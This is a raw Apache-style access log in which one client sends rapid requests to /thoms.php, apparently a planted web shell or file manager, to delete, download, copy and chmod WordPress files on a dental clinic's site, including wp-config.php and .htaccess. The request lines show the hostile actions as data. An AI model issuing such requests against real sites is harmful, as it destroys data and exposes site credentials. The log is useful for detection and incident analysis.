45.135.193.11 - - [11/Sep/2026:23:13:56 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fwp-login.php&p=beauty-dental.com.tw HTTP/1.1" 200 11472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:56 -0400] "GET /thoms.php?dl=wp-config-sample.php&p=beauty-dental.com.tw HTTP/1.1" 200 17375 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:56 -0400] "GET /thoms.php?del=cgi-bin&p=beauty-dental.com.tw HTTP/1.1" 200 17374 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:56 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fupgrade&p= HTTP/1.1" 200 12003 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:56 -0400] "GET /thoms.php?del=upgrade&p=beauty-dental.com.tw HTTP/1.1" 200 17376 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:56 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=locoy.php HTTP/1.1" 200 12963 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:56 -0400] "GET /thoms.php?chmod=wp-activate.php&p=beauty-dental.com.tw HTTP/1.1" 200 11488 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:56 -0400] "GET /thoms.php?dl=wp-cron.php&p=beauty-dental.com.tw HTTP/1.1" 200 17374 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:56 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fwp-blog-header.php&p=beauty-dental.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:56 -0400] "GET /thoms.php?del=wp-mail.php&p=beauty-dental.com.tw HTTP/1.1" 200 17375 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:56 -0400] "GET /thoms.php?del=wp-content&p=beauty-dental.com.tw HTTP/1.1" 200 17375 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:57 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Freadme.html&p=beauty-dental.com.tw HTTP/1.1" 200 11486 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:56 -0400] "GET /thoms.php?del=.htaccess&p=beauty-dental.com.tw HTTP/1.1" 200 17368 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:57 -0400] "GET /thoms.php?chmod=wp-signup.php&p=beauty-dental.com.tw HTTP/1.1" 200 11488 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:57 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fwp-signup.php&p=beauty-dental.com.tw HTTP/1.1" 200 11473 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:57 -0400] "GET /thoms.php?chmod=.well-known&p=beauty-dental.com.tw HTTP/1.1" 200 11483 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:57 -0400] "GET /thoms.php?chmod=release-endpoint&p=beauty-dental.com.tw HTTP/1.1" 200 11486 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:57 -0400] "GET /thoms.php?del=.well-known&p=beauty-dental.com.tw HTTP/1.1" 200 17375 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:57 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=wp-links-opml.php HTTP/1.1" 200 13107 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:57 -0400] "GET /thoms.php?chmod=wp-mail.php&p=beauty-dental.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:57 -0400] "GET /beauty-dental.com.tw HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:57 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fwp-content&p= HTTP/1.1" 200 11994 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:57 -0400] "GET /thoms.php?chmod=wp-blog-header.php&p=beauty-dental.com.tw HTTP/1.1" 200 11488 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:57 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=wp-comments-post.php HTTP/1.1" 200 13022 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:57 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fwp-comments-post.php&p=beauty-dental.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:57 -0400] "GET /thoms.php?dl=wp-comments-post.php&p=beauty-dental.com.tw HTTP/1.1" 200 17374 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:57 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=wp-load.php HTTP/1.1" 200 13669 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:57 -0400] "GET /beauty-dental.com.tw/ HTTP/1.1" 404 12596 "https://163.245.207.76/beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:57 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Ferror_log&p=beauty-dental.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:57 -0400] "GET /thoms.php?del=locoy.php&p=beauty-dental.com.tw HTTP/1.1" 200 17373 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:57 -0400] "GET /thoms.php?chmod=wp-trackback.php&p=beauty-dental.com.tw HTTP/1.1" 200 11487 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:57 -0400] "GET /thoms.php?del=wp-config.php&p=beauty-dental.com.tw HTTP/1.1" 200 17376 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:57 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fxmlrpc.php&p=beauty-dental.com.tw HTTP/1.1" 200 11484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:57 -0400] "GET /thoms.php?chmod=cgi-bin&p=beauty-dental.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:57 -0400] "GET /thoms.php?del=release-endpoint&p=beauty-dental.com.tw HTTP/1.1" 200 17374 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:57 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fwp-load.php&p=beauty-dental.com.tw HTTP/1.1" 200 11470 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:57 -0400] "GET /thoms.php?dl=wp-settings.php&p=beauty-dental.com.tw HTTP/1.1" 200 17375 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:57 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fwp-admin HTTP/1.1" 200 28706 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:57 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2F.well-known&p= HTTP/1.1" 200 11993 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:57 -0400] "GET /thoms.php?chmod=wp-content&p=beauty-dental.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:57 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=readme.html HTTP/1.1" 200 15239 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:57 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2F.well-known HTTP/1.1" 200 12598 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:57 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fwp-config-sample.php&p=beauty-dental.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:57 -0400] "GET /thoms.php?dl=wp-login.php&p=beauty-dental.com.tw HTTP/1.1" 200 17374 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:57 -0400] "GET /thoms.php?del=xmlrpc.php&p=beauty-dental.com.tw HTTP/1.1" 200 17359 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?chmod=readme.html&p=beauty-dental.com.tw HTTP/1.1" 200 11483 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fxmlrpc.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?del=wp-config-sample.php&p=beauty-dental.com.tw HTTP/1.1" 200 17373 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=xmlrpc.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19211 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fxmlrpc.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19211 "https://163.245.207.76/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19193 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19203 "https://163.245.207.76/thoms.php?p=wordpress-6.6.2-zh_TW&view=xmlrpc.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?dl=wp-cron.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?chmod=wp-load.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?del=wp-mail.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?chmod=wp-signup.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19203 "https://163.245.207.76/thoms.php?dl=wp-cron.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19211 "https://163.245.207.76/thoms.php?chmod=wp-load.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19212 "https://163.245.207.76/thoms.php?del=wp-mail.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19151 "https://163.245.207.76/thoms.php?chmod=wp-signup.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?dl=index.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Flicense.txt&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?chmod=wp-comments-post.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-mail.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19211 "https://163.245.207.76/thoms.php?dl=index.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19203 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW%2Flicense.txt&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19211 "https://163.245.207.76/thoms.php?chmod=wp-comments-post.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19212 "https://163.245.207.76/thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-mail.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?chmod=locoy.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?chmod=wp-cron.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-links-opml.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-links-opml.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19203 "https://163.245.207.76/thoms.php?chmod=locoy.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19231 "https://163.245.207.76/thoms.php?chmod=wp-cron.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19225 "https://163.245.207.76/thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-links-opml.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19202 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-links-opml.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?del=wp-load.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?dl=wp-settings.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?dl=wp-signup.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19211 "https://163.245.207.76/thoms.php?del=wp-load.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19212 "https://163.245.207.76/thoms.php?dl=wp-settings.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19212 "https://163.245.207.76/thoms.php?dl=wp-signup.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19211 "https://163.245.207.76/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?del=wp-cron.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-cron.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:59 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=index.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
